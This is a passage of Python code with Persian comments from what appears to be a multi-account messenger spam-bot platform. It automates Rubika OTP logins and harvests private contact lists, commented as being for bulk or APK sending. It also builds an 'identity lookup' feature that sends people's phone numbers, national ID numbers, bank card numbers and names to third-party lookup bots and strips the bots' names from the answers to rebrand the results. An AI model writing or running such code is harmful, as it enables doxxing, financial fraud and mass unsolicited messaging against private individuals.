        # parts[0] ممکن است شامل prefix باشد
        if len(parts) < 3:
            return None, None
        # آخرین بخش = platform
        platform = parts[-1].lower()
        if platform not in ALL_PLATFORMS:
            platform = "rubika"
        # بخش قبل = aid
        aid = int(parts[-2])
        return aid, platform
    except Exception:
        return None, None

# ═══════════════════════════════════════════════════════════════════
#  9) state store سازگار
# ═══════════════════════════════════════════════════════════════════

def _trx290_state_set(uid: int, state_name: str, **kwargs):
    try:
        trx.state.set(int(uid), state_name, **kwargs)
    except Exception as e:
        _log_warn(f"[TRX290] state_set failed: {_mask(str(e))}")

def _trx290_state_get(uid: int) -> Optional[Dict[str, Any]]:
    try:
        return trx.state.get(int(uid))
    except Exception:
        return None

def _trx290_state_pop(uid: int):
    try:
        return trx.state.pop(int(uid))
    except Exception:
        return None

# ═══════════════════════════════════════════════════════════════════
#  10) لاگ‌های تجاری
# ═══════════════════════════════════════════════════════════════════

def _trx290_log_activity(aid: int, uid: int, action: str, target: str = "", success: int = 1):
    try:
        trx.log_account_activity(int(aid), int(uid), str(action)[:120],
                                 str(target)[:300], int(success))
    except Exception:
        pass

def _trx290_log_event(uid: int, event: str, detail: str = ""):
    try:
        trx.log_event(int(uid), str(event)[:120], str(detail)[:500])
    except Exception:
        pass

def _trx290_id_log(uid: int, qtype: str, qval: str, platform: str,
                   aid: int, source_bot: str, response: str, success: int = 1):
    if _db() is None:
        return
    try:
        _db().execute(
            "INSERT INTO trx290_identity_log(user_id,query_type,query_value,"
            "platform,account_id,source_bot,response_text,success,created_at) "
            "VALUES(?,?,?,?,?,?,?,?,?)",
            (int(uid), str(qtype)[:60], str(qval)[:200], str(platform)[:60],
             int(aid), str(source_bot)[:80], str(response)[:4000],
             int(success), _now()),
        )
    except Exception:
        pass

# ═══════════════════════════════════════════════════════════════════
#  11) لیست مخاطبین سالم (برای bulk/APK)
# ═══════════════════════════════════════════════════════════════════

async def _trx290_get_contacts(uid: int, aid: int, platform: str, limit: int = 150):
    """مخاطبین private را از دیتابیس می‌خواند."""
    result: List[str] = []
    if _db() is None:
        return result
    try:
        rows = _db().fetchall(
            "SELECT peer_id FROM trx01_known_peers "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' "
            "ORDER BY last_seen DESC LIMIT ?",
            (int(uid), int(aid), str(platform).lower(), int(limit)),
        )
        seen = set()
        for r in rows:
            pid = str(r["peer_id"] or "").strip()
            if pid and pid not in seen:
                seen.add(pid)
                result.append(pid)
    except Exception as e:
        _log_warn(f"[TRX290] get_contacts: {_mask(str(e))}")
    return result[:limit]

def _trx290_touch_known_peer(uid: int, aid: int, platform: str, peer: str, ptype: str = "private"):
    if _db() is None:
        return
    try:
        _db().execute(
            "INSERT OR REPLACE INTO trx01_known_peers("
            "user_id,account_id,platform,peer_id,peer_type,last_seen) "
            "VALUES(?,?,?,?,?,?)",
            (int(uid), int(aid), str(platform), str(peer),
             str(ptype), _now()),
        )
    except Exception:
        pass

# ═══════════════════════════════════════════════════════════════════
#  12) هدر و جایگاه — پایان بخش ۱
# ═══════════════════════════════════════════════════════════════════

_log_info(f"[TRX290] ===== PART 1/5 loaded (build={TRX_290_BUILD}) =====")
_log_info("[TRX290] Foundation ready. Waiting for overlay patches ...")# ═══════════════════════════════════════════════════════════════════
#  13) رفع کامل لاگین روبیکا (بر اساس کد تبچی + rulog subprocess)
# ═══════════════════════════════════════════════════════════════════
# هدف: پیاده‌سازی دقیق همان روشی که در کد «تبچی پیشرفته» برای لاگین
# روبیکا استفاده شده بود، با ترکیب با fallbackهای subprocess و HTTPS.

def _trx290_rubika_normalize_phone(phone: str) -> str:
    """ورودی هر شکلی → 989xxxxxxxxx (بدون +، بدون 0 ابتدایی)"""
    p = _trx290_only_digits(phone)
    if p.startswith("0098"):
        p = p[4:]
    elif p.startswith("98") and len(p) > 10:
        p = p[2:]
    elif p.startswith("0"):
        p = p[1:]
    return "98" + p


def _trx290_rubika_local_phone(phone: str) -> str:
    """ورودی → 09xxxxxxxxx (برای rubpy که فرمت local می‌خواهد)"""
    p = _trx290_only_digits(phone)
    if p.startswith("0098"):
        p = p[4:]
    elif p.startswith("98") and len(p) > 10:
        p = p[2:]
    if not p.startswith("0"):
        p = "0" + p
    return p


def _trx290_extract_phone_hash(payload) -> Optional[str]:
    """استخراج phone_code_hash از پاسخ rulog/rubpy به هر شکلی که هست."""
    if payload is None:
        return None
    if isinstance(payload, dict):
        for k in ("phone_code_hash", "phoneCodeHash", "hash"):
            v = payload.get(k)
            if v:
                return str(v)
        for container in ("data", "result", "input"):
            c = payload.get(container)
            if isinstance(c, dict):
                for k in ("phone_code_hash", "phoneCodeHash", "hash"):
                    v = c.get(k)
                    if v:
                        return str(v)
        return None
    # object attributes
    for attr in ("phone_code_hash", "phoneCodeHash", "hash"):
        v = getattr(payload, attr, None)
        if v:
            return str(v)
    data = getattr(payload, "data", None)
    if isinstance(data, dict):
        for k in ("phone_code_hash", "phoneCodeHash", "hash"):
            v = data.get(k)
            if v:
                return str(v)
    return None


def _trx290_extract_auth_key(payload) -> Tuple[Optional[str], Optional[str]]:
    """استخراج Auth/Key از پاسخ signIn روبیکا."""
    if payload is None:
        return None, None
    containers = []
    if isinstance(payload, dict):
        containers.append(payload)
        for c in (payload.get("data"), payload.get("result")):
            if isinstance(c, dict):
                containers.append(c)
    else:
        containers.append(payload)
        data = getattr(payload, "data", None)
        if isinstance(data, dict):
            containers.append(data)
    for c in containers:
        if isinstance(c, dict):
            auth = c.get("auth") or c.get("Auth")
            key = c.get("key") or c.get("Key") or c.get("private_key")
            if auth and key:
                return str(auth), key
        else:
            auth = getattr(c, "auth", None) or getattr(c, "Auth", None)
            key = getattr(c, "key", None) or getattr(c, "Key", None)
            if auth and key:
                return str(auth), key
    return None, None


# ── اسکریپت subprocess برای rulog (رفع OSError 5) ───────────────────
_TRX290_RUBIKA_SUBPROCESS_SCRIPT = r'''
import sys, json
try:
    import rulog
except Exception as e:
    print(json.dumps({"__error__": "import: " + str(e)})); sys.exit(0)

phone = sys.argv[1]
platform = sys.argv[2]

try:
    rc = rulog.Client()
    fn = getattr(rc, "sendCode", None) or getattr(rc, "send_code", None)
    if fn is None:
        print(json.dumps({"__error__": "no sendCode method"})); sys.exit(0)
    kwargs = {"send_type": True} if platform == "android" else {}
    resp = fn(platform, phone, **kwargs)
    if isinstance(resp, dict):
        print(json.dumps(resp, ensure_ascii=False))
    else:
        out = {}
        for a in ("data", "status", "phone_code_hash"):
            try:
                out[a] = getattr(resp, a)
            except Exception:
                pass
        print(json.dumps(out, ensure_ascii=False))
except Exception as e:
    print(json.dumps({"__error__": type(e).__name__ + ": " + str(e)}))
'''


async def _trx290_rubika_subprocess_send(phone: str, platform: str) -> Tuple[bool, Any]:
    """rulog را در subprocess جدا اجرا می‌کند تا OSError 5 رفع شود."""
    script_path = None
    try:
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False, encoding="utf-8"
        ) as f:
            f.write(_TRX290_RUBIKA_SUBPROCESS_SCRIPT)
            script_path = f.name
    except Exception as e:
        return False, f"tempfile: {_mask(str(e))}"

    try:
        proc = await asyncio.create_subprocess_exec(
            sys.executable, script_path, phone, platform,
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE,
        )
        try:
            stdout, stderr = await asyncio.wait_for(proc.communicate(), timeout=45)
        except asyncio.TimeoutError:
            try:
                proc.kill()
            except Exception:
                pass
            return False, f"timeout ({platform})"

        out = (stdout or b"").decode("utf-8", errors="replace").strip()
        err = (stderr or b"").decode("utf-8", errors="replace").strip()
        if not out:
            return False, f"empty output ({platform}) stderr={err[:200]}"
        last = out.splitlines()[-1].strip()
        try:
            resp = json.loads(last)
        except Exception:
            return False, f"bad json ({platform}): {last[:200]}"
        if isinstance(resp, dict) and "__error__" in resp:
            return False, f"{platform}: {resp['__error__'][:300]}"
        return True, resp
    except Exception as e:
        return False, f"subprocess: {_mask(str(e))}"
    finally:
        if script_path:
            try:
                os.unlink(script_path)
            except Exception:
                pass


# ── rulog in-process (fallback) ────────────────────────────────────
async def _trx290_rulog_inproc(phone: str) -> Tuple[bool, Any, str]:
    """rulog in-process با ساخت fresh Client در هر پلتفرم."""
    try:
        import rulog  # noqa
    except Exception:
        # تلاش برای نصب
        for flags in (["--user"], [], ["--break-system-packages"]):
            try:
                subprocess.check_call(
                    [sys.executable, "-m", "pip", "install", "-U", "rulog"] + flags,
                    stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT,
                )
                break
            except Exception:
                continue
        try:
            import rulog  # noqa
        except Exception as e:
            return False, f"rulog import failed: {_mask(str(e))}", ""

    errors = []
    for platform, kwargs in (("android", {"send_type": True}), ("web", {})):
        rc = None
        try:
            rc = rulog.Client()
            fn = getattr(rc, "sendCode", None) or getattr(rc, "send_code", None)
            if not callable(fn):
                errors.append(f"{platform}: no sendCode")
                continue
            resp = fn(platform, phone, **kwargs)
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                return True, resp, platform
            errors.append(f"{platform}: no hash in {str(resp)[:200]}")
        except OSError as e:
            errors.append(f"{platform}: OSError({getattr(e, 'errno', '?')})")
        except Exception as e:
            errors.append(f"{platform}: {type(e).__name__}: {_mask(str(e))[:200]}")
    return False, " | ".join(errors)[:800], ""


# ── HTTPS direct for Rubika ─────────────────────────────────────────
_TRX290_RUBIKA_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
    "https://messengerg2c.iranlms.ir/",
)
_TRX290_RUBIKA_HEADERS = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 "
                  "(KHTML, like Gecko) Chrome/124 Mobile Safari/537.36",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
    "Accept": "application/json, text/plain, */*",
}


async def _trx290_rubika_https_call(payload, timeout: int = 20) -> Optional[dict]:
    try:
        import aiohttp
    except Exception:
        return None
    body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
    for base in _TRX290_RUBIKA_URLS:
        try:
            async with aiohttp.ClientSession(
                timeout=aiohttp.ClientTimeout(total=timeout),
                connector=aiohttp.TCPConnector(limit=4, ttl_dns_cache=300, force_close=True),
            ) as session:
                async with session.post(base, data=body, headers=_TRX290_RUBIKA_HEADERS) as resp:
                    raw = await resp.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"status": str(resp.status), "raw": raw[:800]}
                    if isinstance(data, dict):
                        return data
        except Exception:
            continue
    return None


async def _trx290_rubika_https_send(phone: str) -> Tuple[bool, Any, str]:
    """HTTPS direct برای روبیکا (v5/v4/v3/v2 payloads)."""
    payloads = [
        {"api_version": "5", "method": "sendCode",
         "data": {"phone_number": phone, "send_type": "SMS"}},
        {"api_version": "4", "method": "sendCode",
         "data": {"phone_number": phone, "send_type": "SMS"}},
        {"api_version": "3", "method": "sendCode",
         "data": {"phone_number": phone, "send_type": "SMS"}},
        {"api_version": "2", "method": "sendCode",
         "data": {"phone_number": phone, "send_type": "SMS"}},
        {"api_version": "5", "method": "sendCode",
         "data": {"phone_number": phone, "send_type": "SMS", "pass_key": ""}},
    ]
    last_err = ""
    for i, pl in enumerate(payloads):
        try:
            resp = await _trx290_rubika_https_call(pl, timeout=15)
            if not resp:
                last_err = f"payload {i}: no response"
                continue
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                return True, resp, "legacy"
            status = str(resp.get("status", "")).upper()
            if status in ("OK", "SUCCESS", "200"):
                return True, resp, "legacy"
            last_err = f"payload {i}: {str(resp)[:200]}"
        except Exception as e:
            last_err = f"payload {i}: {type(e).__name__}"
            continue
    return False, last_err, ""


# ── rubpy direct ────────────────────────────────────────────────────
async def _trx290_rubpy_send(phone: str, uid: int) -> Tuple[bool, Any, Any]:
    """rubpy send_code بدون start() تعاملی."""
    try:
        from rubpy import Client as RubpyClient
    except Exception as e:
        return False, f"rubpy import: {_mask(str(e))}", None
    try:
        session_name = os.path.join(
            getattr(trx, "SESS_DIR", os.path.join(os.getcwd(), "sessions")),
            f"rubika_otp_{uid}_{int(time.time())}",
        )
        client = None
        for ctor_kwargs in (
            {"name": session_name, "display_welcome": False, "platform": "Android"},
            {"name": session_name},
            {"session": session_name},
        ):
            try:
                client = RubpyClient(**ctor_kwargs)
                break
            except TypeError:
                continue
        if client is None:
            return False, "rubpy client ctor failed", None

        # connect() بدون start()
        connect = getattr(client, "connect", None)
        if callable(connect):
            try:
                r = connect()
                if asyncio.iscoroutine(r):
                    await r
            except Exception:
                pass

        fn = getattr(client, "send_code", None)
        if not callable(fn):
            return False, "rubpy has no send_code", client
        resp = fn(_trx290_rubika_local_phone(phone))
        if asyncio.iscoroutine(resp):
            resp = await resp
        ph = _trx290_extract_phone_hash(resp)
        if ph:
            return True, {"phone_code_hash": ph, "raw": str(resp)[:300]}, client
        return False, f"rubpy no hash: {str(resp)[:200]}", client
    except Exception as e:
        return False, f"rubpy: {_mask(str(e))}", None


# ── تابع اصلی ارسال کد روبیکا (ترکیب همه روش‌ها) ────────────────────
async def _trx290_rubika_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """
    ترتیب تلاش:
      1. rulog subprocess (رفع OSError 5)
      2. HTTPS direct (v5/v4/v3/v2)
      3. rulog in-process
      4. rubpy direct
    """
    number_98 = _trx290_rubika_normalize_phone(phone)
    number_local = _trx290_rubika_local_phone(phone)
    errors: List[str] = []

    # ── مرحله ۱: rulog subprocess ──
    for plat in ("android", "web"):
        try:
            ok, resp = await _trx290_rubika_subprocess_send(number_98, plat)
            if ok:
                ph = _trx290_extract_phone_hash(resp)
                if ph:
                    trx.active_clients[int(uid)] = {
                        "client": None, "rulog": None, "service": "rubika",
                        "phone": number_98, "phone_input": phone,
                        "hash": str(ph),
                        "otp_platform": plat,
                        "backend": "rulog_subprocess",
                        "created_at": time.time(),
                        "connected": False,
                    }
                    _log_info(f"[TRX290][Rubika] step1 OK via subprocess/{plat}")
                    return True, resp
                errors.append(f"subprocess {plat}: no hash")
            else:
                errors.append(f"subprocess {plat}: {str(resp)[:150]}")
        except Exception as e:
            errors.append(f"subprocess {plat}: {_mask(str(e))[:120]}")

    # ── مرحله ۲: HTTPS direct ──
    try:
        ok, resp, backend = await _trx290_rubika_https_send(number_98)
        if ok:
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                trx.active_clients[int(uid)] = {
                    "client": None, "rulog": None, "service": "rubika",
                    "phone": number_98, "phone_input": phone,
                    "hash": str(ph),
                    "otp_platform": "legacy",
                    "backend": "https_direct",
                    "created_at": time.time(),
                    "connected": False,
                }
                _log_info(f"[TRX290][Rubika] step2 OK via HTTPS")
                return True, resp
            errors.append(f"HTTPS: no hash in {str(resp)[:150]}")
        else:
            errors.append(f"HTTPS: {str(resp)[:200]}")
    except Exception as e:
        errors.append(f"HTTPS: {_mask(str(e))[:150]}")

    # ── مرحله ۳: rulog in-process ──
    try:
        ok, resp, plat = await _trx290_rulog_inproc(number_98)
        if ok:
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                trx.active_clients[int(uid)] = {
                    "client": None, "rulog": None, "service": "rubika",
                    "phone": number_98, "phone_input": phone,
                    "hash": str(ph),
                    "otp_platform": plat or "android",
                    "backend": "rulog_inproc",
                    "created_at": time.time(),
                    "connected": False,
                }
                _log_info(f"[TRX290][Rubika] step3 OK via rulog inproc")
                return True, resp
        errors.append(f"rulog inproc: {str(resp)[:200]}")
    except Exception as e:
        errors.append(f"rulog inproc: {_mask(str(e))[:150]}")

    # ── مرحله ۴: rubpy direct ──
    try:
        ok, resp, client = await _trx290_rubpy_send(number_local, uid)
        if ok:
            ph = _trx290_extract_phone_hash(resp)
            if ph:
                trx.active_clients[int(uid)] = {
                    "client": client, "rulog": None, "service": "rubika",
                    "phone": number_98, "phone_input": phone,
                    "hash": str(ph),
                    "otp_platform": "Android",
                    "backend": "rubpy",
                    "created_at": time.time(),
                    "connected": False,
                }
                _log_info(f"[TRX290][Rubika] step4 OK via rubpy")
                return True, resp
        errors.append(f"rubpy: {str(resp)[:200]}")
    except Exception as e:
        errors.append(f"rubpy: {_mask(str(e))[:150]}")

    # پاک‌سازی
    try:
        info = trx.active_clients.get(int(uid))
        if info and info.get("service") == "rubika" and not info.get("connected"):
            trx.active_clients.pop(int(uid), None)
    except Exception:
        pass

    full = " | ".join(errors)[:1400]
    _log_err(f"[TRX290][Rubika] all send attempts failed: {full}")
    return False, f"ارسال کد روبیکا ناموفق بود:\n{full}"


# ── تأیید کد روبیکا ─────────────────────────────────────────────────
async def _trx290_rubika_verify(uid: int, code: str) -> Tuple[bool, Any]:
    info = trx.active_clients.get(int(uid))
    if not info or info.get("service") != "rubika":
        return False, "نشست ورود روبیکا پیدا نشد؛ دوباره شماره را وارد کنید."

    number = info.get("phone") or _trx290_rubika_normalize_phone(info.get("phone_input", ""))
    phone_hash = str(info.get("hash") or "")
    backend = info.get("backend") or ""
    platform = info.get("otp_platform") or "android"
    code_clean = _trx290_only_digits(code)

    if not (4 <= len(code_clean) <= 8):
        return False, "کد تأیید باید ۴ تا ۸ رقم عددی باشد."

    result = None
    errors: List[str] = []

    # ── signIn از طریق HTTPS ──
    try:
        for api_ver in ("5", "4", "3", "2"):
            resp = await _trx290_rubika_https_call({
                "api_version": api_ver,
                "method": "signIn",
                "data": {
                    "phone_number": number,
                    "phone_code_hash": phone_hash,
                    "phone_code": code_clean,
                },
            }, timeout=25)
            if resp:
                auth, key = _trx290_extract_auth_key(resp)
                if auth and key:
                    result = resp
                    break
    except Exception as e:
        errors.append(f"HTTPS signIn: {_mask(str(e))[:150]}")

    # ── signIn از طریق rulog (in-process) ──
    if result is None:
        try:
            import rulog
            for plat in (platform, "android", "web"):
                try:
                    rc = rulog.Client()
                    sign = getattr(rc, "signIn", None) or getattr(rc, "sign_in", None)
                    if not callable(sign):
                        continue
                    candidate = sign(plat, number, phone_hash, code_clean)
                    if asyncio.iscoroutine(candidate):
                        candidate = await candidate
                    a, k = _trx290_extract_auth_key(candidate)
                    if a and k:
                        result = candidate
                        break
                except Exception as e:
                    errors.append(f"rulog signIn/{plat}: {_mask(str(e))[:120]}")
                    continue
        except Exception as e:
            errors.append(f"rulog import: {_mask(str(e))[:120]}")

    if result is None:
        full = " | ".join(errors)[:1200]
        return False, f"تأیید روبیکا ناموفق بود:\n{full}"

    auth, key = _trx290_extract_auth_key(result)
    if not auth or not key:
        return False, f"ورود روبیکا کامل نشد: {str(result)[:400]}"

    session_value = json.dumps({"auth": str(auth), "key": key}, ensure_ascii=False)

    cur = _db().execute(
        "INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
        "VALUES(?,?,?,?,?,?)",
        (int(uid), "rubika", info.get("phone_input") or number,
         session_value, "online", _now()),
    )
    aid = int(cur.lastrowid)

    # ── ساخت کلاینت rubpy برای استفاده بعدی ──
    client = None
    try:
        from rubpy import Client as RubpyClient
        sess_dir = getattr(trx, "SESS_DIR", os.path.join(os.getcwd(), "sessions"))
        try:
            os.makedirs(sess_dir, exist_ok=True)
        except Exception:
            pass
        for ctor_kwargs in (
            dict(name=os.path.join(sess_dir, f"rubika_{uid}_{aid}"),
                 auth=str(auth), private_key=key,
                 phone_number=info.get("phone_input") or number,
                 platform="Android"),
            dict(name=os.path.join(sess_dir, f"rubika_{uid}_{aid}"),
                 auth=str(auth), private_key=key),
        ):
            try:
                client = RubpyClient(**ctor_kwargs)
                break
            except TypeError:
                continue
    except Exception as e:
        _log_warn(f"[TRX290][Rubika] rubpy build failed: {_mask(str(e))}")

    if client is not None:
        try:
            for name in ("connect", "start"):
                fn = getattr(client, name, None)
                if callable(fn):
                    r = fn()
                    if asyncio.iscoroutine(r):
                        await r
                    break
        except Exception as e:
            _log_warn(f"[TRX290][Rubika] rubpy connect: {_mask(str(e))}")
        trx.ai_live_clients[(int(uid), aid)] = client

    try:
        trx.active_clients[int(uid)]["client"] = client
        trx.active_clients[int(uid)]["connected"] = True
        trx.active_clients[int(uid)]["account_id"] = aid
    except Exception:
        pass

    # ── ثبت ai_binding خودکار ──
    try:
        _db().execute(
            "INSERT OR IGNORE INTO ai_bindings("
            "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,"
            "created_at,updated_at) VALUES(?,?,?,?,?,?,?)",
            (int(uid), aid, 1, 1, 0, _now(), _now()),
        )
        _db().execute(
            "UPDATE ai_bindings SET enabled=1,updated_at=? "
            "WHERE user_id=? AND account_id=?",
            (_now(), int(uid), aid),
        )
    except Exception:
        pass

    try:
        trx.log_account_activity(aid, int(uid), "login", "rubika", 1)
        trx.log_event(int(uid), "ACCOUNT_ADDED", "rubika")
    except Exception:
        pass

    if client is not None:
        try:
            trx._register_ai_handler(client, int(uid), "rubika", aid)
        except Exception as e:
            _log_warn(f"[TRX290][Rubika] AI handler: {_mask(str(e))}")

    return True, {"account_id": aid, "phone": info.get("phone_input") or number}


# ── نصب handler روبیکا در SERVICE_HANDLERS با حفظ original ─────────
try:
    _trx290_orig_rubika_handlers = dict(trx.SERVICE_HANDLERS.get("rubika", {}))
    _trx290_orig_rubika_send = _trx290_orig_rubika_handlers.get("send")
    _trx290_orig_rubika_verify = _trx290_orig_rubika_handlers.get("verify")

    async def _trx290_rubika_send_wrapped(uid: int, phone: str):
        # تلاش با تابع خودمان
        ok, info = await _trx290_rubika_send_code(uid, phone)
        if ok:
            return ok, info
        # Fallback به original اگر وجود داشت
        if callable(_trx290_orig_rubika_send):
            try:
                return await _trx290_orig_rubika_send(uid, phone)
            except Exception:
                pass
        return ok, info

    async def _trx290_rubika_verify_wrapped(uid: int, code: str):
        ok, info = await _trx290_rubika_verify(uid, code)
        if ok:
            return ok, info
        if callable(_trx290_orig_rubika_verify):
            try:
                return await _trx290_orig_rubika_verify(uid, code)
            except Exception:
                pass
        return ok, info

    _trx290_wrap = getattr(trx, "_wrap_otp_handler", None)
    if callable(_trx290_wrap):
        trx.SERVICE_HANDLERS["rubika"] = {
            "send": _trx290_wrap("rubika", _trx290_rubika_send_wrapped),
            "verify": _trx290_rubika_verify_wrapped,
        }
    else:
        trx.SERVICE_HANDLERS["rubika"] = {
            "send": _trx290_rubika_send_wrapped,
            "verify": _trx290_rubika_verify_wrapped,
        }
    _log_info("[TRX290] Rubika handler installed (additive)")
except Exception as _e:
    _log_warn(f"[TRX290] rubika handler install failed: {_mask(str(_e))}")

# ═══════════════════════════════════════════════════════════════════
#  14) سیستم استعلام هویتی (Identity Lookup System)
# ═══════════════════════════════════════════════════════════════════
# کاربر یکی از این گزینه‌ها را انتخاب می‌کند:
#   1. شماره تلفن    → DatafyRobot + visionlookupbot
#   2. کد ملی        → visionlookupbot
#   3. شماره کارت    → visionlookupbot
#   4. نام و نام خانوادگی → MeliDBBOT (فایل TXT → فوروارد بدون ذخیره)
#   5. کارت به شبا    → cardinformation_bot (روی بله)

# ── ربات مبدا با پیام مبدا برای فوروارد ──────────────────────────────
# قالب پیام‌های امضاشده (بدون ذکر ربات‌های منبع)

def _trx290_identity_signature() -> str:
    return f"\n\n{SEP2}\n📌 منبع: {TRX290_SENDER_BOT}\n{SEP2}"


# ── ذخیره/دریافت اکانت استعلام از settings ──────────────────────────
def _trx290_get_identity_account(platform: str) -> Optional[Dict[str, Any]]:
    """اکانت استعلام ذخیره‌شده برای یک پلتفرم را برمی‌گرداند."""
    if _db() is None:
        return None
    key = f"trx290:identity_acc:{platform}"
    try:
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if not row or not row["value"]:
            return None
        data = json.loads(str(row["value"]))
        if not isinstance(data, dict):
            return None
        aid = int(data.get("account_id") or 0)
        if aid <= 0:
            return None
        acc = _db().fetchone(
            "SELECT * FROM accounts WHERE id=? AND enabled=1", (aid,)
        )
        if not acc:
            return None
        return {
            "account_id": aid,
            "platform": str(data.get("platform") or platform),
            "service": str(acc["service"]),
            "phone": str(acc["phone"] or ""),
        }
    except Exception as e:
        _log_warn(f"[TRX290] identity acc get failed: {_mask(str(e))}")
        return None


def _trx290_set_identity_account(platform: str, aid: int, uid: int) -> bool:
    """اکانت استعلام را ذخیره می‌کند."""
    if _db() is None:
        return False
    try:
        acc = _db().fetchone(
            "SELECT id,service,phone FROM accounts WHERE id=? AND user_id=? AND enabled=1",
            (int(aid), int(uid)),
        )
        if not acc:
            return False
        # سازگاری: اگر پلتفرم درخواستی با service مطابقت ندارد، همان service را مبنا بگیر
        actual_service = str(acc["service"]).lower()
        target_platform = actual_service if actual_service in ALL_PLATFORMS else str(platform).lower()
        key = f"trx290:identity_acc:{target_platform}"
        value = json.dumps({
            "account_id": int(aid),
            "platform": target_platform,
            "service": actual_service,
            "phone": str(acc["phone"] or ""),
        }, ensure_ascii=False)
        _db().execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (key, value),
        )
        return True
    except Exception as e:
        _log_warn(f"[TRX290] identity acc set failed: {_mask(str(e))}")
        return False


# ── حل peer ربات با username ────────────────────────────────────────
async def _trx290_resolve_bot_peer(client, username: str):
    """username ربات را به peer قابل استفاده تبدیل می‌کند."""
    if client is None:
        return None
    uname = str(username or "").lstrip("@")
    # تلاش اول: get_entity/get_chat
    for m in ("get_entity", "get_chat", "get_object_by_username", "get_peer_by_username"):
        fn = getattr(client, m, None)
        if not callable(fn):
            continue
        try:
            r = fn(uname)
            if asyncio.iscoroutine(r):
                r = await r
            if r is not None:
                return r
        except Exception:
            try:
                r = fn("@" + uname)
                if asyncio.iscoroutine(r):
                    r = await r
                if r is not None:
                    return r
            except Exception:
                continue
    return uname


# ── ارسال پیام به ربات استعلام و دریافت پاسخ ────────────────────────
async def _trx290_send_and_wait(client, peer, text: str,
                                 wait_seconds: float = 25.0,
                                 max_messages: int = 6,
                                 before_send_cb=None,
                                 send_text: bool = True) -> List[str]:
    """
    پیام را می‌فرستد و تا wait_seconds منتظر پاسخ می‌ماند.
    لیست متن پاسخ‌ها را برمی‌گرداند.
    """
    responses: List[str] = []
    if client is None or peer is None:
        return responses

    send = getattr(client, "send_message", None)
    if not callable(send):
        return responses

    # Snapshot message IDs before sending so an old bot response is not
    # accidentally reused as the answer to this lookup.
    history_fn = None
    baseline_ids = set()
    for m in ("get_chat_history", "get_messages", "iter_messages"):
        fn = getattr(client, m, None)
        if callable(fn):
            history_fn = fn
            break

    if history_fn is not None:
        try:
            hist0 = history_fn(peer, 30)
            if asyncio.iscoroutine(hist0):
                hist0 = await hist0
            msgs0 = getattr(hist0, "messages", None)
            if msgs0 is None and isinstance(hist0, list):
                msgs0 = hist0
            for msg0 in (msgs0 or []):
                mid0 = getattr(msg0, "id", None) or getattr(msg0, "message_id", None)
                if mid0 is not None:
                    baseline_ids.add(str(mid0))
        except Exception:
            pass

    try:
        if before_send_cb is not None:
            try:
                await _trx290_maybe_await(before_send_cb())
            except Exception:
                pass
            await asyncio.sleep(0.5)
        if send_text:
            r = send(peer, text)
            if asyncio.iscoroutine(r):
                await r
    except Exception as e:
        _log_warn(f"[TRX290] send_and_wait send: {_mask(str(e))}")
        return responses

    # انتظار برای پاسخ
    for m in ("get_chat_history", "get_messages", "iter_messages"):
        fn = getattr(client, m, None)
        if callable(fn):
            history_fn = fn
            break

    start = time.time()
    seen_ids = set()
    while time.time() - start < wait_seconds:
        await asyncio.sleep(1.5)
        if history_fn is None:
            continue
        try:
            hist = history_fn(peer, 15)
            if asyncio.iscoroutine(hist):
                hist = await hist
            msgs = getattr(hist, "messages", None)
            if msgs is None and isinstance(hist, list):
                msgs = hist
            if not msgs:
                continue
            for msg in msgs:
                mid = getattr(msg, "id", None) or getattr(msg, "message_id", None)
                mid_key = str(mid) if mid is not None else ""
                author = getattr(msg, "author_guid", None) or getattr(msg, "sender_id", None)
                text_content = getattr(msg, "text", "") or getattr(msg, "message", "") or ""
                is_me = getattr(msg, "is_me", False) or getattr(msg, "out", False)
                if is_me:
                    continue
                if mid_key and mid_key in baseline_ids:
                    continue
                if mid_key and mid_key in seen_ids:
                    continue
                if mid_key:
                    seen_ids.add(mid_key)
                if str(text_content).strip():
                    responses.append(str(text_content).strip())
                    if len(responses) >= max_messages:
                        return responses
        except Exception:
            continue
    return responses


# ── قالب‌بندی خروجی برای کاربر ──────────────────────────────────────
def _trx290_format_identity_result(query_type: str, query_value: str,
                                    responses: List[str], lang: str = "fa") -> str:
    header_map = {
        "phone": "📞 استعلام شماره تلفن",
        "national_id": "🆔 استعلام کد ملی",
        "card": "💳 استعلام شماره کارت",
        "full_name": "👤 استعلام نام و نام خانوادگی",
        "card_to_sheba": "🏦 تبدیل کارت به شبا",
    }
    header = header_map.get(query_type, "🔍 استعلام هویتی")
    mask_val = query_value
    if query_type == "card" and len(mask_val) >= 8:
        mask_val = mask_val[:4] + "****" + mask_val[-4:]
    elif query_type == "phone" and len(mask_val) >= 7:
        mask_val = mask_val[:4] + "***" + mask_val[-3:]

    body = "\n".join(r for r in responses if r) or "❌ پاسخی از ربات منبع دریافت نشد."
    # پاک‌سازی اسم ربات‌های منبع
    for botname in (TRX290_BOT_VISION, TRX290_BOT_DATAFY, TRX290_BOT_MELIDB,
                    TRX290_BALE_BOT_CARD):
        body = body.replace(f"@{botname}", "").replace(botname, "")
        body = re.sub(rf"\b{re.escape(botname)}\b", "", body)
    body = body.replace("@DatafyRobot", "").replace("@visionlookupbot", "")
    body = body.replace("@MeliDBBOT", "").replace("@cardinformation_bot", "")

    result = (
        f"{SEP}\n{header}\n{SEP}\n\n"
        f"🔑 مقدار ورودی: `{mask_val}`\n\n"
        f"{SEP3}\n"
        f"{body}\n"
        f"{SEP3}"
        f"{_trx290_identity_signature()}"
    )
    return result


